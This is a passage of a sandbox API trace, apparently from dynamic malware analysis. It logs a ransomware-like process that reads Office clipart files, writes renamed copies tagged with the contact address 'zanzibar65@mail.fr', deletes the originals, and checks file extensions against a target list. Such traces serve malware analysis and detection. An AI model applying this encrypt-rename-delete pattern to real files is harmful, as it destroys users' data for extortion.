Office\\CLIPART\\PUB60COR\\DD01181_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0271.018] GetLastError () returned 0x0 [0271.018] ReadFile (in: hFile=0x2e4, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x5a8, lpOverlapped=0x0) returned 1 [0271.020] WriteFile (in: hFile=0x384, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0271.021] ReadFile (in: hFile=0x2e4, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.021] WriteFile (in: hFile=0x384, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.021] SetEndOfFile (hFile=0x384) returned 1 [0271.021] CloseHandle (hObject=0x384) returned 1 [0271.021] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.021] SetEndOfFile (hFile=0x2e4) returned 1 [0271.087] CloseHandle (hObject=0x2e4) returned 1 [0271.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.174] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf")) returned 1 [0271.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0271.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0271.174] lstrlenW (lpString=".doc") returned 4 [0271.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.175] lstrlenW (lpString=".docx") returned 5 [0271.175] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.175] lstrlenW (lpString=".pdf") returned 4 [0271.175] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.175] lstrlenW (lpString=".xls") returned 4 [0271.175] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.175] lstrlenW (lpString=".xlsx") returned 5 [0271.175] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.175] lstrlenW (lpString=".ppt") returned 4 [0271.175] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0271.175] lstrlenW (lpString=".zip") returned 4 [0271.175] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.175] lstrlenW (lpString=".rar") returned 4 [0271.175] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.175] lstrlenW (lpString=".bz2") returned 4 [0271.175] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.175] lstrlenW (lpString=".7z") returned 3 [0271.175] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0271.175] lstrlenW (lpString=".dbf") returned 4 [0271.175] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0271.175] lstrlenW (lpString=".1cd") returned 4 [0271.175] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0271.175] lstrlenW (lpString=".jpg") returned 4 [0271.175] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0271.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0271.176] lstrlenW (lpString=".doc") returned 4 [0271.176] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.176] lstrlenW (lpString=".docx") returned 5 [0271.176] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.176] lstrlenW (lpString=".pdf") returned 4 [0271.176] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.176] lstrlenW (lpString=".xls") returned 4 [0271.176] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.176] lstrlenW (lpString=".xlsx") returned 5 [0271.176] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.176] lstrlenW (lpString=".ppt") returned 4 [0271.176] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0271.176] lstrlenW (lpString=".zip") returned 4 [0271.176] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.176] lstrlenW (lpString=".rar") returned 4 [0271.176] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.176] lstrlenW (lpString=".bz2") returned 4 [0271.176] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.176] lstrlenW (lpString=".7z") returned 3 [0271.176] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0271.176] lstrlenW (lpString=".dbf") returned 4 [0271.176] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0271.176] lstrlenW (lpString=".1cd") returned 4 [0271.176] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0271.176] lstrlenW (lpString=".jpg") returned 4 [0271.176] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.177] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0271.177] lstrlenW (lpString="DD01186_.WMF") returned 12 [0271.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0271.177] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=8564) returned 1 [0271.177] CloseHandle (hObject=0x370) returned 1 [0271.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x20 [0271.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0271.177] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.177] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0271.178] GetLastError () returned 0x0 [0271.178] ReadFile (in: hFile=0x370, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x2174, lpOverlapped=0x0) returned 1 [0271.180] WriteFile (in: hFile=0x304, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0x2180, lpOverlapped=0x0) returned 1 [0271.180] ReadFile (in: hFile=0x370, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.180] WriteFile (in: hFile=0x304, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.180] SetEndOfFile (hFile=0x304) returned 1 [0271.181] CloseHandle (hObject=0x304) returned 1 [0271.181] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.181] SetEndOfFile (hFile=0x370) returned 1 [0271.183] CloseHandle (hObject=0x370) returned 1 [0271.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf")) returned 1 [0271.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0271.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0271.183] lstrlenW (lpString=".doc") returned 4 [0271.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.183] lstrlenW (lpString=".docx") returned 5 [0271.183] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.183] lstrlenW (lpString=".pdf") returned 4 [0271.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.183] lstrlenW (lpString=".xls") returned 4 [0271.183] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.183] lstrlenW (lpString=".xlsx") returned 5 [0271.183] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.183] lstrlenW (lpString=".ppt") returned 4 [0271.183] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0271.183] lstrlenW (lpString=".zip") returned 4 [0271.184] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.184] lstrlenW (lpString=".rar") returned 4 [0271.184] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.184] lstrlenW (lpString=".bz2") returned 4 [0271.184] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.184] lstrlenW (lpString=".7z") returned 3 [0271.184] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0271.184] lstrlenW (lpString=".dbf") returned 4 [0271.184] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0271.184] lstrlenW (lpString=".1cd") returned 4 [0271.184] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0271.184] lstrlenW (lpString=".jpg") returned 4 [0271.184] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0271.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0271.184] lstrlenW (lpString=".doc") returned 4 [0271.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.184] lstrlenW (lpString=".docx") returned 5 [0271.184] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.184] lstrlenW (lpString=".pdf") returned 4 [0271.184] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.184] lstrlenW (lpString=".xls") returned 4 [0271.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.184] lstrlenW (lpString=".xlsx") returned 5 [0271.184] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.184] lstrlenW (lpString=".ppt") returned 4 [0271.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0271.184] lstrlenW (lpString=".zip") returned 4 [0271.184] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.185] lstrlenW (lpString=".rar") returned 4 [0271.185] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.185] lstrlenW (lpString=".bz2") returned 4 [0271.185] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.185] lstrlenW (lpString=".7z") returned 3 [0271.185] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0271.185] lstrlenW (lpString=".dbf") returned 4 [0271.185] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0271.185] lstrlenW (lpString=".1cd") returned 4 [0271.185] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0271.185] lstrlenW (lpString=".jpg") returned 4 [0271.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.185] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0271.185] lstrlenW (lpString="DD01366_.WMF") returned 12 [0271.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0271.186] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=1768) returned 1 [0271.186] CloseHandle (hObject=0x370) returned 1 [0271.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x20 [0271.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0271.186] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.187] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0271.187] GetLastError () returned 0x0 [0271.187] ReadFile (in: hFile=0x370, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x6e8, lpOverlapped=0x0) returned 1 [0271.188] WriteFile (in: hFile=0x304, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0x6f0, lpOverlapped=0x0) returned 1 [0271.189] ReadFile (in: hFile=0x370, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.189] WriteFile (in: hFile=0x304, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.189] SetEndOfFile (hFile=0x304) returned 1 [0271.189] CloseHandle (hObject=0x304) returned 1 [0271.189] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.189] SetEndOfFile (hFile=0x370) returned 1 [0271.317] CloseHandle (hObject=0x370) returned 1 [0271.317] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf")) returned 1 [0271.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0271.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0271.475] lstrlenW (lpString=".doc") returned 4 [0271.475] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.475] lstrlenW (lpString=".docx") returned 5 [0271.475] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.475] lstrlenW (lpString=".pdf") returned 4 [0271.475] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.475] lstrlenW (lpString=".xls") returned 4 [0271.475] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.475] lstrlenW (lpString=".xlsx") returned 5 [0271.475] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.475] lstrlenW (lpString=".ppt") returned 4 [0271.475] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0271.475] lstrlenW (lpString=".zip") returned 4 [0271.476] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.476] lstrlenW (lpString=".rar") returned 4 [0271.476] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.476] lstrlenW (lpString=".bz2") returned 4 [0271.476] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.476] lstrlenW (lpString=".7z") returned 3 [0271.476] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0271.476] lstrlenW (lpString=".dbf") returned 4 [0271.476] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0271.476] lstrlenW (lpString=".1cd") returned 4 [0271.477] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0271.477] lstrlenW (lpString=".jpg") returned 4 [0271.477] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0271.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0271.477] lstrlenW (lpString=".doc") returned 4 [0271.477] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.477] lstrlenW (lpString=".docx") returned 5 [0271.477] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.477] lstrlenW (lpString=".pdf") returned 4 [0271.477] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.477] lstrlenW (lpString=".xls") returned 4 [0271.477] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.477] lstrlenW (lpString=".xlsx") returned 5 [0271.477] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.477] lstrlenW (lpString=".ppt") returned 4 [0271.477] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0271.477] lstrlenW (lpString=".zip") returned 4 [0271.477] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.477] lstrlenW (lpString=".rar") returned 4 [0271.477] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.477] lstrlenW (lpString=".bz2") returned 4 [0271.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.477] lstrlenW (lpString=".7z") returned 3 [0271.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0271.478] lstrlenW (lpString=".dbf") returned 4 [0271.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0271.478] lstrlenW (lpString=".1cd") returned 4 [0271.478] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0271.478] lstrlenW (lpString=".jpg") returned 4 [0271.478] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.478] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0271.478] lstrlenW (lpString="DD01631_.WMF") returned 12 [0271.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0271.478] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=552) returned 1 [0271.478] CloseHandle (hObject=0x384) returned 1 [0271.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x20 [0271.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0271.479] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.479] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0271.937] GetLastError () returned 0x0 [0271.937] ReadFile (in: hFile=0x384, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x228, lpOverlapped=0x0) returned 1 [0271.941] WriteFile (in: hFile=0x2f0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, 